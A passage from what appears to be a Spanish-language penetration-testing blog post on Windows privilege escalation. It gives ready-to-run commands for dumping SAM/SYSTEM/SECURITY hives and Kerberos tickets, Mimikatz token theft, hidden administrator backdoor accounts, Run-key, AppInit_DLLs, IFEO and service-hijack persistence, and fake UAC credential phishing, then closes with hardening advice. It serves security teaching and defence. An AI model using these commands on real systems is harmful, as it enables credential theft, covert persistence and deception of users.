kerberos::ptt ticket.kirbi

8.6. Dump de SAM, SYSTEM y SECURITY

Estas bases de datos contienen hashes de contraseñas de usuarios locales.

Guardar con reg:

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

Extraer con secretsdump.py:

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

8.7. Token Stealing

Si hay procesos activos de usuarios privilegiados, puedes duplicar su token de acceso y usarlo.

Mimikatz:

token::list
token::use /id:1234

Esto cambia tu contexto de ejecución al de otro usuario (si tienes privilegios suficientes).


8.8. Extraer credenciales desde volúmenes montados

Si encuentras discos .vhdx o .vmdk:

  1. Móntalos en tu sistema.
  2. Navega a C:\Windows\System32\config\
  3. Copia los archivos SAM, SYSTEM y SECURITY.
  4. Usa secretsdump.py como en la sección anterior.

8.9. Conclusión

El robo de credenciales es el puente hacia la persistencia, el movimiento lateral y la toma completa del entorno. Desde contraseñas en texto claro hasta hashes NTLM y tickets Kerberos, toda información de autenticación debe ser vista como un vector de escalada.


9. Persistencia e Interacción con Usuarios: Escalada Silenciosa y Durable

Tras obtener acceso y posiblemente escalar privilegios en un sistema Windows, el siguiente paso natural es mantener ese acceso y seguir explotando el entorno sin levantar sospechas. A esto lo llamamos persistencia. En paralelo, existe una técnica menos directa pero muy efectiva: el abuso de la interacción con el usuario para escalar privilegios mediante engaño, suplantación o manipulación.


9.1. Crear usuarios ocultos o discretos

Crear usuario local:

net user backdoor Pass123! /add
net localgroup administrators backdoor /add

Ocultarlo del inicio de sesión:

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

Esto evita que el usuario aparezca en la pantalla de login, pero sigue funcionando para RDP, SMB, etc.


9.2. Programar tareas persistentes

Crear tarea programada persistente:

schtasks /create /tn "Actualizador" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM

Esto ejecuta el payload cada vez que el sistema inicia sesión.

Alternativa: Tareas WMI

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'C:\backdoor.exe'

9.3. Manipulación del registro para persistencia

Agregar payload en inicio de sesión:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /d "C:\backdoor.exe" /f

Esto reinicia el payload en cada inicio de sesión del usuario actual.


9.4. Sustitución de binarios confiables (LOLbins)

Reemplazar binarios que Windows confía por versiones modificadas permite lograr persistencia o escalada sigilosa.

Ejemplo:

  1. Ubicar binario vulnerable en PATH
  2. Substituir por un binario con payload
  3. Asegurarse que se ejecute regularmente (por tarea, servicio, etc.)

9.5. Engaño con interfaces: Fake UAC / login

Puedes simular ventanas del sistema para engañar al usuario y capturar credenciales.

Herramientas:

  • Invoke-CredentialPhisher.ps1
  • Windows-Credential-Harvester

Ejemplo:

Invoke-CredentialPhisher -Force

Esto muestra un falso prompt de UAC. Si el usuario introduce sus credenciales, se capturan en texto claro.


9.6. Uso de DLLs para persistencia silenciosa

Persistencia mediante AppInit_DLLs:

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /d "C:\evil.dll" /f

Esto hace que la DLL maliciosa se cargue en todos los procesos que usan user32.dll (casi todos los programas con interfaz gráfica).

Otra opción: Uso de IFEO (Image File Execution Options)

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\backdoor.exe" /f

Cada vez que se intente abrir notepad.exe, se ejecutará tu payload.


9.7. Interacción pasiva con usuarios

Esperar uso de herramientas:

Puedes colocar ejecutables con nombres comunes en rutas accesibles:

C:\Users\Public\chrome.exe
C:\Users\Public\teams.exe

Si algún usuario hace doble clic por error, se ejecutará el payload.

Colocar archivos tentadores («baiting»):

C:\Users\Public\Contraseñas2025.xlsx
C:\Users\Public\InformePrivado.pdf.exe

9.8. Persistencia en servicios existentes

Si encuentras un servicio vulnerable o que puedas modificar:

sc config ServicioX binPath= "C:\backdoor.exe"
sc start ServicioX

Puedes mantener el acceso cada vez que el servicio se reinicie.


9.9. Conclusión

La persistencia garantiza continuidad en el acceso, mientras que la interacción con usuarios amplía tu capacidad de escalar en entornos donde los vectores técnicos son limitados. Ambas técnicas son fundamentales en entornos reales, especialmente cuando se busca un enfoque sigiloso y duradero.


10. Explotación de Sistemas Obsoletos en Windows: Cuando el tiempo es tu aliado

Una de las realidades más comunes (y más peligrosas) en entornos corporativos es la presencia de sistemas operativos obsoletos. Versiones de Windows que ya no reciben parches de seguridad (EOL – End Of Life) como Windows 7, Server 2008 o incluso XP, continúan siendo utilizadas por compatibilidad, limitaciones presupuestarias o pura negligencia. Para un atacante, esto representa una mina de oro para la escalada de privilegios.


10.1. ¿Qué versiones de Windows están obsoletas (EOL)?

Algunos ejemplos comunes:

  • Windows XP → EOL desde 2014
  • Windows Vista → EOL desde 2017
  • Windows 7 → EOL desde 2020 (sin ESU)
  • Windows Server 2008 / 2008 R2 → EOL desde 2020
  • Windows Server 2012 → EOL desde 2023

Estas versiones no reciben actualizaciones de seguridad salvo acuerdos específicos (Extended Security Updates), y suelen estar plagadas de vulnerabilidades conocidas.


10.2. Identificar versiones obsoletas

Ver sistema operativo:

systeminfo

Busca la línea:

OS Name:                   Microsoft Windows 7 Professional

Ver arquitectura:

[Environment]::Is64BitOperatingSystem

La combinación de versión + arquitectura ayuda a elegir el exploit adecuado.


10.3. Vulnerabilidades clásicas para escalada local en sistemas obsoletos

CVE-2016-0099 (Hot Potato):

Afecta a Windows 7 / Server 2008. Explotación del servicio NBNS para suplantación.

CVE-2019-0836 (Win32k Elevation):

Vulnerabilidad de corrupción de memoria local. Permite ejecutar código como SYSTEM.

CVE-2015-1701:

Corrupción en el kernel Win32k.sys, usada en múltiples kits de explotación.

CVE-2020-0787 (PrintDemon):

Permite escalada aprovechando el servicio de impresión de Windows.


10.4. Herramientas para detectar y explotar

Windows Exploit Suggester – NG (WES-NG)

Compara la salida de systeminfo con una base de datos de CVEs aplicables.

python windows-exploit-suggester.py --database 2024-05-01-mssb.xls --systeminfo systeminfo.txt

Watson

Analiza el sistema para sugerir exploits locales conocidos.

Watson.exe

Exploit-db + compilación manual

Puedes buscar CVEs por sistema operativo y compilar localmente desde código fuente.


10.5. Casos reales de explotación en entornos EOL

  1. Windows 7 SP1 sin parches → Escalada con MS16-032 (potato.exe o Tater.ps1).
  2. Windows Server 2008 R2 → Uso de JuicyPotato y PrintSpoofer exitoso sin antivirus que lo detecte.
  3. XP Embedded en equipos industriales → Explotación con psexec tras obtener hash de administrador local.

10.6. Recomendaciones para auditorías

  • Siempre identificar la versión y nivel de parches antes de ejecutar exploits.
  • Validar si el sistema tiene AV activo que bloquee herramientas antiguas.
  • Ejecutar pruebas en entorno controlado antes de usar binarios compilados.
  • Documentar todas las CVEs aplicables en un reporte técnico.

10.7. Conclusión

El tiempo juega a favor del atacante cuando se trata de sistemas obsoletos. Estos sistemas abandonados son altamente susceptibles a vulnerabilidades conocidas y documentadas, muchas de las cuales tienen herramientas de explotación públicas, estables y funcionales.


11. Endurecimiento y Reflexiones Finales: Cerrando la puerta a la escalada

A lo largo de este post, hemos recorrido múltiples técnicas de escalada de privilegios en sistemas Windows: desde la enumeración inicial, explotación de servicios, robo de credenciales, hasta ataques avanzados en entornos obsoletos. Ahora es el momento de ver el otro lado de la moneda: cómo protegerse de estos vectores y construir sistemas más seguros.

En esta última entrega, abordaremos estrategias de endurecimiento (hardening), buenas prácticas administrativas y reflexiones clave para minimizar la superficie de ataque.


11.1. Principio de privilegio mínimo

Uno de los pilares de la seguridad es asegurarse de que los usuarios y procesos solo tengan los permisos estrictamente necesarios.

  • Retira privilegios como SeDebugPrivilege, SeImpersonate, etc., salvo cuando sea absolutamente necesario.
  • Asegúrate de que los usuarios no estén en grupos como Administrators, Backup Operators, o Remote Desktop Users sin justificación.
  • Utiliza cuentas de servicio con privilegios restringidos y únicos por servicio.

11.2. Endurecimiento de servicios y tareas

  • Verifica que todos los servicios estén entrecomillados correctamente.
  • Usa rutas seguras (C:\Program Files) y restringidas para binarios de servicios.
  • Evita ejecutar servicios como SYSTEM si no es necesario.
  • Revisa tareas programadas regularmente y evita ejecutar scripts desde rutas públicas como C:\Temp.

11.3. Monitorización activa

  • Utiliza soluciones como Microsoft Defender for Endpoint, Sysmon, y Event Forwarding para monitorear actividades sospechosas.
  • Reglas sugeridas:
    • Detección de ejecución de binarios desde ubicaciones inusuales (C:\Users\Public)
    • Tareas que se disparan en onlogon con ejecutables desconocidos
    • Manipulación de claves de registro persistentes (Run, AppInit_DLLs, Image File Execution Options)

11.4. Política de parches

  • Aplica parches de seguridad de forma regular y automatizada.
  • Usa herramientas como WSUS, SCCM, o scripts de PowerShell para validar la presencia de actualizaciones críticas.
  • Sistemas como Windows 7, Server 2008 o XP deben ser reemplazados o completamente aislados en la red.

11.5. Fortalecer almacenamiento de credenciales

  • Usa Credential Guard en sistemas modernos (Windows 10 Enterprise y superior).
  • Deshabilita almacenamiento en texto claro de credenciales (LSA Protection).
  • Evita scripts con contraseñas hardcoded y utiliza soluciones como LAPS para gestionar contraseñas locales de forma rotativa.

11.6. Configuración de UAC y AppLocker

  • Configura UAC en modo más estricto para todos los usuarios.
  • Implementa AppLocker o Windows Defender Application Control (WDAC) para restringir la ejecución de binarios no firmados.
  • Usa audit mode para monitorear qué aplicaciones serían bloqueadas sin afectar operaciones.

11.7. Auditorías y simulaciones periódicas

  • Realiza auditorías internas con herramientas como winPEAS, SharpUp, PowerUp en modo lectura para identificar fallas de configuración.
  • Ejecuta ejercicios de Red Team o Purple Team para evaluar la detección y respuesta ante movimientos laterales y escaladas locales.

Reflexión final

La escalada de privilegios no es solo una técnica ofensiva; es un síntoma de debilidades estructurales en la administración del sistema. Cada servicio mal configurado, cada grupo sin revisar y cada binario sin protección representa una oportunidad para que un atacante tome el control.

🔐 El conocimiento es la mejor herramienta de seguridad. Gracias por acompañarme en este recorrido técnico. ¡Hasta la próxima!

Comparte esta Publicación en Redes Sociales